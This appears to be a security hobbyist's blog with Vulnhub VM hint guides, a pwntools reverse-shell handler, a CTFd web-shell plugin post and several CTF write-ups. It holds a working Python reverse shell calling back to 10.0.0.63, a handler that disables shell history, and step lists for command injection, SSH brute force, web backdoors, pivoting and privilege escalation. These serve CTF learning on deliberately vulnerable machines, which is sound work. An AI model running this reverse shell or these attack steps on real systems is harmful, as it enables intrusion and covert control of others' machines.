Showing posts with label ctf. Show all posts
Showing posts with label ctf. Show all posts

Saturday, April 25, 2020

Vulnhub VMs and guide/hints

I released some VM's on Vulnhub almost a month ago.


This post has guide/hints for those VM's.

Cloud Antivirus/Cloud AV:
1. Start by port scanning your network and locate the Easy Cloud AV VM’s IP address.
a. Port 22 and 8080 should be open and the MAC address should be: 08:00:27:BA:A5:BA
2. Do an Aggressive nmap scan on the target IP address and find out what services are running.
3. Visit the web server running on the target IP
4. You were not provided an Invite code. Bypass the Invite code page.
a. Input data in the invite form field to cause an error on the web server
b. Read the error messages and craft input to bypass the invite code page
5. Get command line injection on the scanner page
a. Based on scanner output, determine what the input could have been
b. Inject your own commands
c. To make sure command execution works, cat /etc/hostname
i. Output from it will be “cloudav”
6. Gather information about the users
a. View linux files that could contain user information
7. Brute force port 22/SSH
a. Use the gathered usernames to build a list of usernames and passwords
b. Use the list for brute forcing port 22/SSH
8. Examine home directory of users and exploit vulnerable application to get root
a. Examine the left behind source code
b. Determine how to inject commands
c. Inject commands to gain root privileges!

Socnet/social network:
Goal: Get root privilege on the machine (hostname: socnet)
1. Start by port scanning. Locate socnet VM’s IP address.
a. Port 22 and 5000 should be open. Mac address should be: 08:00:27:A6:E2:EC
2. Do an aggressive nmap scan on the target IP and find out which services are running
3. Visit the webpage on the target IP
a. Examine it for any vulnerabilities
4. Use dirb to scan the website for hidden pages
5. Use the input on the hidden page to test code
a. https://www.geeksforgeeks.org/exec-in-python/
b. Try Python’s time.sleep module and see if website will take sleep and take longer to
respond. Try 5 second sleep then 10 second sleep to observe different response times.
6. Abuse to the code testing functionality to get a reverse shell
a. http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
7. Setup a more stable reverse shell with meterpreter
a. https://netsec.ws/?p=331
b. Create the reverse shell binary
c. Transfer the binary to target machine using a webserver on the attacker machine and
running wget on the target machine
d. Use metasploit to handle meterpreter reverse shell
8. Utilize the ‘arp’ command in meterpreter to look for other machines on the target network
9. Utilize the ‘ifconfig’ command in meterpreter to get targets network information
10. Using metasploit, setup a route via meterpreter session
11. Utilize auxiliary/scanner/portscan/tcp to scan other machines on the target network
12. Google open ports and find out what they’re used for
13. Utilize meterpreter session to do port forwarding from your local machine to the machine with
port 9200 open
14. Utilize curl and query machine with port 9200 open and find what’s running on it, including any
version numbers
15. Exploit the service running on port 9200
a. Search for an exploit that works against version of service running on 9200
b. Utilize the exploit and gain shell access
c. Examine / directory for interesting files
16. Utilize passwords file collected from machine with port 9200 open, crack the passwords, and
build a username and password list
a. https://crackstation.net/
17. Attack SSH running on the target machine with the username and password list
18. After logging in successfully on the target machine via SSH, gather machine information
a. Get OS info
b. Get kernel info
c. Arch info (64bit or 32bit)
19. Use privesc exploit to get root privs
a. Utilize collected info to search for privesc exploits
b. Compile the privesc exploits and transfer the compiled files to target system using SCP
c. Execute the exploits to finally get root privs

Socnet2/social network 2:
Goal: Get root privilege on the machine
1. Start by port scanning and locating socnet2 VM.
a. Port 22, 80, and 8000 should be open. Mac address should be: 08:00:27:e9:e5:e6
2. Do an aggressive nmap scan and find more information about the services running
3. Visit webservers
4. Visit webserver on port 80 and examine it
a. Sign up
b. Explore the site
c. Look for any issues
5. Get a backdoor on the webserver
a. Utilize file upload functionality to get a backdoor on the webserver
b. Run the backdoor
6. Utilized the backdoor to find more information about whats running on port 8000
a. Examine the file system, processes
b. Be sure to read social network posts as well
7. Abuse the service running on port 8000 to get another shell
a. Examine the source code for the service running on port 8000
b. Write a custom tool/script to gain shell through service running on port 8000
i. https://docs.python.org/2/library/xmlrpclib.html
8. Load a meterpreter backdoor on the victim machine and utilize it to examine files in the users
directory
9. Write an exploit for SUID binary
a. Find the SUID binary in the user folder
b. Binary includes a backdoor function
i. https://github.com/radareorg/cutter
c. Download the binary, use a debugger, and different inputs to trigger a crash and control
the EIP
d. Create a working exploit that launches backdoor function
10. Put the exploit on victim machine and exploit the SUID binary to get root

Moriarty Corp:
Goal: Get all the flags

No guide or hints. Sorry.

Friday, December 28, 2018

Using pwntools for reverse shell handling and automation

Introduction:
I've been working with machines on HackTheBox and VM's from Vulnhub for a while. I got annoyed of typing commands again and again. I decided to use pwntools (Python library that provides a lot of functions for CTF and exploit dev usage, https://github.com/Gallopsled/pwntools) for handling reverse shell and sending commands. This is nothing new, I'm sure there are people and tools out there that automate some things after a machine is popped.

For HTB and Vulnhub VM's I'm trying to avoid using tools such as metasploit, meterpreter, or anything that does everything and instead try to write my own tools and modify exploits. However, I do use nmap and enumeration tools/scripts...

Setup:
For reverse shells that I get, they could have resulted from a custom python script, PHP code, or some binary exploit. If it's custom python script, I can add things I want the script to do before it connects back to me but for shell from PHP or exploit, I have to send commands after I get a reverse connection.

This is what I have as my handler: 

from pwn import *

l = listen(80)
l.sendline(""" python -c 'import pty; pty.spawn("/bin/bash")'""")
l.sendline(" export SHELL=bash")
l.sendline(" export HISTFILE=/dev/null")
l.sendline(" export TERM=xterm")
l.sendline(" stty rows 38 columns 116")
l.sendline(""" alias ls='ls -lha --color=auto'""")
l.sendline("hostname")
l.sendline("whoami")
l.sendline("uname -a")
l.sendline("ps aux")
l.interactive()

It listens on port 80 and as soon as there is a reverse shell, it executes commands. l.interactive() gives you a shell.
I change it depending on the situation. For one of the HTB machines, I had lines added to log in as one of the privileged users. You can also add commands in here to automatically download enumeration or privesc tools and execute them. 

Another common problem I've had is losing the shell. This typically happens because I pressed control+C after running a command I shouldn't have or didn't need to. I decided to modify my reverse python shell to make it run in an infinite loop, with sleep in the middle when disconnected. This was fine for a while but I didn't wanna have my reverse shell running on shared HTB machines all the time, if I happen to stop working on the machine or get disconnected and my IP changes. I changed the script and added a counter so after a while if it's not able to connect to me, the process ends.

Here's what the reverse shell looks like:

import socket, subprocess, os, time
counter = 0
while counter < 6:
    try:
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
        s.connect(("10.0.0.63",80));
        os.dup2(s.fileno(),0);
        os.dup2(s.fileno(),1);
        os.dup2(s.fileno(),2);
        counter = 0
        p=subprocess.call(["/bin/bash","-i"]);
    except:
        counter = counter + 1
        time.sleep(5)
        continue


Resources:
https://github.com/Gallopsled/pwntools

Thursday, May 24, 2018

Providing a shell for CTFs

Introduction
I was working on creating a CTF for students. I’m using CTFd since it’s so simple to setup and use. You can check it out here: https://github.com/CTFd/CTFd/wiki/Getting-Started

Anyways, I’ve played some CTFs and have noticed that some of them provide web shell or SSH access. For example, pwnable.kr (http://pwnable.kr) provides SSH access. PicoCTF (https://github.com/picoCTF/picoCTF ) also has a module for providing a shell. I also noticed that PentesterLab (https://pentesterlab.com) providers web shell as well. TAMUctf also has a plugin for CTFd here: https://github.com/tamuctf/ctfd-shell-plugin.

Providing shell to players can allow you to provide binaries, tools, and other files to the player easily. Also, you can have a category of challenges (example: how to use CLI or do basic things on Linux) specific to the container you provided.

Goal
My goal is to basically provide web shell to a Docker container for users. I’ll be adding users to the docker container, just like some other CTFs/plugins have. 
I also want to do it from inside of CTFd. This way, the players don’t have to register on another site or do anything like that. (my first idea was to make them register on another web server…) Finally, I also want this to be simple for me.

Here’s my Github repo with the plugin I wrote and my Dockerfile: https://github.com/BoredHackerBlog/ctfdwettyshell 

Setup
For my setup, I’ve decided to obviously have a docker container. I’m using ubuntu 16.04. For web shell, I’ve decided to go with wetty. You can check out wetty here: https://github.com/krishnasrinivas/wetty It’s very simple to use.

First I decided to make my docker image, which includes wetty. Here’s the Dockerfile:

The Dockerfile can obviously be modified to include more tools and custom scripts. 

After the file was created, I used “docker build” to build the image (mine is called wettytest, since I was just testing). I started up the image by running “docker run” command.

Now I needed to add a plugin to CTFd. The goal of this plugin was to:
See if a user has been assigned creds or not
  1. If the user has been assigned creds
    1. Return creds
  2. If the user hasn’t been assigned creds
    1. Randomly generate username and password
    2. Add user to the docker container
    3. Return creds
More information about creating CTFd plugin is here: https://github.com/CTFd/CTFd/wiki/Plugins

I didn’t exactly follow the guidelines provided by CTFd for this. For some reason, I couldn’t get my script to add a table and store values in the database. I finally gave up and went with storing the login information in a dictionary. 

Here’s what the plugin script looks like:

If the plugin is used then container_name string and return_info string obviously need to change to match your setup. 

I also added a page via the Admin page on CTFd which redirects to /docker. It looks like this:

When that page is added, a link to Docker page should show up on non-admin pages like below:

Results
It works for my needs.
When the player visits the docker page, this is presented:

And the player is able to log in:


Issues
There are several issues with doing this that I haven’t had the need to fix yet. 

If a user changes their password while in the container and forgets about it, they lose access to it. If their password is accidentally leaked or shared, they can’t change it. 

Login info is lost if CTFd web app is restarted. Since I was having trouble with storing login info into CTFd database, I went with a dictionary and I’m not permanently storing that data and reloading it every time. When CTFd is restarted and the player visits /docker, a new user is created. 

Docker container is allowed to access the internet. Depending on your setup and your users, you may or may not want that ability. 

Resources
https://github.com/BoredHackerBlog/ctfdwettyshell 
https://github.com/CTFd/ 
https://github.com/CTFd/CTFd/wiki/Plugins 
https://github.com/tamuctf/ctfd-shell-plugin 
https://github.com/picoCTF/picoCTF 
https://pentesterlab.com 
http://pwnable.kr 
https://github.com/krishnasrinivas/wetty 

Sunday, September 17, 2017

CSAW CTF 2017 - Write-up

CSAW CTF 2017 - Write-up


Challenge: Misc, Serial

This challenge had to do with Serial, just like it’s name.
This is what we get when we connect to the server:
You can already guess that it has to do with parity checking. When you research 8N1 Parity, you’ll learn that the format is:
START_BIT, DATA(byte), PARITY_BIT, STOP_BIT
We’re asked to evaluate the data and respond with 1 or 0.
Even parity is explained pretty well here http://www.globalspec.com/ImageRepository/LearnMore/20157/parityc189996e759b44a7ae14aa7d36630839.png:
Basically, you want to end up with even amount of 1’s. If your data contains three 1 bits then you need 1 as your parity bit. If your data contains eight 1 bits then you need 0 as your parity bit.
We’re asked to respond with 1 if parity bit is correct and respond with 0 if parity bit is incorrect.
I used pwntools and binascii to implement my solution.
It looks something like this:

First my checkparity function is defined, which will tell me what I need to transmit back to csaw server (either 1 or 0).
I make a connection to the server then read the data (All 11 bits). I send the data to my checkparity function.
Checkparity will look at only the byte value (actualdata) and parity bit. I also count the number of 1 bits I’ve received.
If I have even number of 1 bits then parity bit should be 0, if I have odd number of 1 bits then parity should be 1. If that isn’t the case then I have bad data and I retransmit 0.
The good bytes can be converted to ascii and that’s our flag!
This is what it looks like when ran:

Challenge: Pwn, Pilot

This was an exploitation challenge and the goal was to get a shell.
In this case, the tools I’ve used were gdb with peda and pwntools and struct libraries.
This was a 64-bit binary. I don’t I’ve done overflow on 64-bit before in any CTF so it was kinda new to me. The concept is still the same as 32-bit though.
I use ‘pattern create 50 out’ to generate a file named out with 50 bytes. ‘run < out’ takes bytes from the out file and inputs them after running the program. As you can see in the image above, there is a crash.
I can run pattern search to look at offsets. I also look at backtrace and look at the offset for the pattern find there. It is 40. This means that we need 40 bytes + address and whatever the address is should land in RIP and the application will jump to that address.
I test this out below:
In the screenshot above, you can see that BBBBAAAA is where the application jumps to.

When we connect to the server, this is the output:
Notice the location address it returns. This is where our code will be placed. The downloaded application also does this, obviously. Our goal is have some code at that address to obtain shell.

This is what my code ends up looking like:
First I make a connection then read the input. I extract the address that I need to jump to then pack it. I found shellcode that executes /bin/sh and I’ve added that as well.
\x90 is a nop, however, when testing, I was using \xcc (int3) which makes the debugger break (as in breakpoint) and lets me do step by step execution.
My data I will be inputting will be SHELLCODE (execute /bin/sh) + nop * (40-lenth of SHELLCODE)
I then send the data and interact with the socket connection.
Below is how I got the flag.


Challenge: Forensics, Best Router

This was 200 points but rather easier than other ones I did previously.
There is a file associated with the challenge, which I have downloaded.
Visiting the URL looks like this:
File that you download is called: best_router.tar.gz, I untarred it and ran the file command to find more information about it.
We can guess that this is an image for the router. We can mount the partitions and examine the insides. I used kpartx.
Partition 1 didn’t have anything useful.
Partition 2 on the other hand has linux file system.
We know the title of the site is BEST ROUTER, we can just use grep to find it.
And looking at the files in var/www gives us the username and password:
The username and password allow us to log in and get the flag:

That’s all. I attempted other challenges but didn’t obtain flags. :-(

Friday, September 8, 2017

CTF Tips and Resources

Introduction:
This post has tips and resources for doing a CTF...

Tips and Resources:
First read Trail of Bits CTF guide. It’s very good. https://trailofbits.github.io/ctf/
Also watch these:

If you’re playing CTF with a team, you can do different type of tasks (web, crypto, reversing, exploitation, etc) or focus on one category. Either way, you should aim to learn more of whatever you’re trying to learn.

Prepare your tools. I recommend setting up a virtual machine with Kali Linux. Kali should contain many of the tools you need. Remnux is also a good VM to have. You can also run a VM on a remote system. I personally have a machine setup on Vultr with docker and ctf-tools (https://github.com/zardus/ctf-tools) I highly recommend installing ctf-tools. You can also install tools such as Pwntools (https://github.com/Gallopsled/pwntools). Depending on what you’re trying to do, you’ll need different tools.

I highly recommend writing your own tools as well. You can keep them to yourself or share them. You might participate in more CTFs and you might get challenges where you can reuse the scripts or tools you ended up writing.

Document all of the things you do. While you’re doing a CTF, you should be documenting how you’ve been solving challenges. I recommend using a tool such as KeepNote. KeepNote also lets you export to HTML. Keeping notes of what you’ve done will help you in the future and you can also share them so other people can learn. Typically, some people will publish write-ups from CTFs on how they solved challenges. When documenting, keep the files you were given for challenges and save the challenge text as well so your audience knows what you were actually trying to solve.

Read write-ups! Read write-ups that other people have written. Everyone approaches problems differently. You’ll notice that people have solved a same challenge differently. You can pick up these techniques to use next time. This github page has organized write-ups from different CTFs https://github.com/ctfs Write-ups get posted on https://ctftime.org/ too. Stuff gets posted on securityCTF subreddit too https://www.reddit.com/r/securityCTF/

Here are some useful sites:

Sunday, March 12, 2017

BSidesIndy 2017 CTF - Solving TREMENDOUS/starter

I went to BSidesIndy without the intention of participating in the CTF so I didn’t take my computer with me. I saw some of the people I knew playing so I decided to try to help but without my computer, I wasn’t much of a help.

I did this at home…

This is a reversing challenge.

I ran strings and got this.

Of course, that flag does not work…

We can move on to gdb and Hopper at this point.

Let’s start by figuring out when WRONG is used. We’ll call the block that print WRONG “wrong_func” for the sake of simplicity.


Below you can see that the JMP instruction jumps wrong_func.


Before the jump, you can strlen then comparison. If the comparison results in true, then we jump to 0x40066b, instead of going to wrong_func.

This is good. We can put a breakpoint at 0x400652 (je instruction) and examine the registers in gdb.



RAX is 0x20 (32) and RBX is 0x5 (5).
We know that we put in HELLO, which is 5 chars long. We need our input to be 32 char long for RAX to equal RBX.

We will use AAAABBBBCCCCDDDDAAAABBBBCCCCDDDD as our input.



Look at that. CMP results in true. The program will now jump to 0x40066b instead of going to wrong_func.

Even if we supply 32 char input, the program still go to wrong_func.

Let’s examine 0x40066b now.

It does bunch of stuff but I am not going to spend time trying to figure it out. I can just look at the call graph instead.

Notice the CMP under 0x400690. If CMP does not result in true, JNE 0x400656 is executed. That goes to nop, which then goes to wrong_func. Now we have to just avoid JNE from executing.

I do want to point out that we’re trying to get to 0x4006eb, which prints TREMENDOUS!. It will happen when we have the correct flag.

Back in GDB, we can put a breakpoint on JNE 0x400656 instruction.



In the picture above, you can see that RAX contains our input (A) and RDX contains expected input (I), since the CMP failed, we jump to nop and wrong_func is executed.

We can change our input to be IAAABBBBCCCCDDDDAAAABBBBCCCCDDDD and keep using the break point to figure out what our input should be but that’s not fun.

We’ll use Angr (angr.io) instead.

So far we know that input should be 32 char long. We also know that we want to AVOID going to 0x400656 (nop -> wrong_func) and 0x400657 (wrong_func) and we want to FIND a path to 0x4006eb, which prints “TREMENDOUS!”

I don’t know how to deal with args in Angr. Lintile(twitter.com/lintile), the CTF organizer, told me to look at some Angr CTF examples so I did. I found one that I could modify and get the flag with. Here is it is: https://github.com/angr/angr-doc/blob/master/examples/securityfest_fairlight/solve.py

This is the code that I used:


Argv1 is 32 char long.
I told Angr what I wanted to find and what I wanted to avoid.
After the path is found, print the argv1 required.

I ran the script and found the flag!


And yes, the flag does work.



Friday, April 15, 2016

sCTF 2016 (incomplete) write-up

Update: other write-ups I found https://ctftime.org/event/309/tasks/ and https://github.com/VulnHub/ctf-writeups/tree/master/2016/sctf

I did sCTF and then kinda gave up. It was fun and frustrating. I'll try harder next time.
This is a partial write-up for some of things that I solved or tried solving.

Rev1

I’ll post two ways to do this. I’m learning these tools anyway.
I used qira (http://qira.me) first.
First, wrong password.
Running the same with qira.
I looked for scanf and saw cmp below it.
Notice that rax is 0x4d2, which is 1234/our input.
Eax is not equal to 0x5b74, then jump to 0x4006b7, which does occur. We need to put in 0x5b74 to make this work. 0x5b74 is 23412 in decimal.
And it works.
Another way to do it to just skip that jne instruction.
I’m using GDB with PEDA.
We’ll put a breakpoint at CMP, then jump to the instruction below jne.
And we jump

Rev2

This is very similar to the first one, except the jump trick won’t work.
Let’s start with qira again.
There is a cmp again, and rax has 1234. 0x30dda83 is 51239555. We can try that.
And it works.

SecureTextSaver (Incomplete)

This was a .jar file. I used JavaDecompilers.com (awesome site btw) to get the decompiled code.
Login_Page.java has username and password in it.
By the time I started writing this, the problems page was gone, since the CTF is over. I don’t remember what I did after this.
Cookies
Decompiled the jar file using JavaDecompilers.com.
This is Cookie.java
Notice the URL and the hash.
Password for the hash gets sent to the server and server returns the flag. I used hashkiller.co.uk, which had the password already cracked.
And we can send the password and get the flag.

Bomb_squad (Incomplete)

This binary has multiple phases you had to complete.
What you want to avoid is explode_bomb()
This is phase_1
It takes integer as input and does some math and if the input is correct, it jumps to 0x8048a15.
I decided to try angr with this. (http://angr.io) I used the example from the site and tried it with the first phase.
With angr, we want to find 0x8048a15 and avoid call to explode_bomb() (0x8048a10)

Pwn1

Going to use PEDA for this.
First time I was doing this, I didn’t pay attention to the description for the challenge.
It says “I'll convert a first person statement to a second person statement. I even wrote it in C++ to be super-safe about my strings!”
Notice that I became you.
We can use some I’s and pattern that PEDA creates to find out offset.
We can overwrite the EIP after we put in 24 bytes (20 I’s and 4 random bytes).
There is get_flag function in the binary that’s never called and we need to jump to it.
Address is 0x08048f0d.
Let’s generate our input to jump to get_flag.
And it works!

Pwn2 (Incomplete)

This is when I gave up. I know that I had to use ROP (never done it before) and I saw syscall in the binary, I just couldn’t get anything to work.


After trying different things, I eventually figured out that I needed to give it a negative number and my pattern.




Ducks

This one required password input on a website.
Notice the link to source.php, this contains the PHP code that does password check.
extract() is the issue here.
When we enter the password into The Ducks page, it will get sent as a post request with variable name pass.
We should be able to use Burp Proxy to append another variable, which would be thepassword_123. They both should be equal so we can get the flag.
And we get our flag.


Control Panel

I spent too much time on this trying stupid things. This was rather easy.
The hint was in the comments after you registered for an account and logged in.
This is normal registration and login.
Here’s the hint
You can create another account and append &admin=true in your post request.
And you get the flag.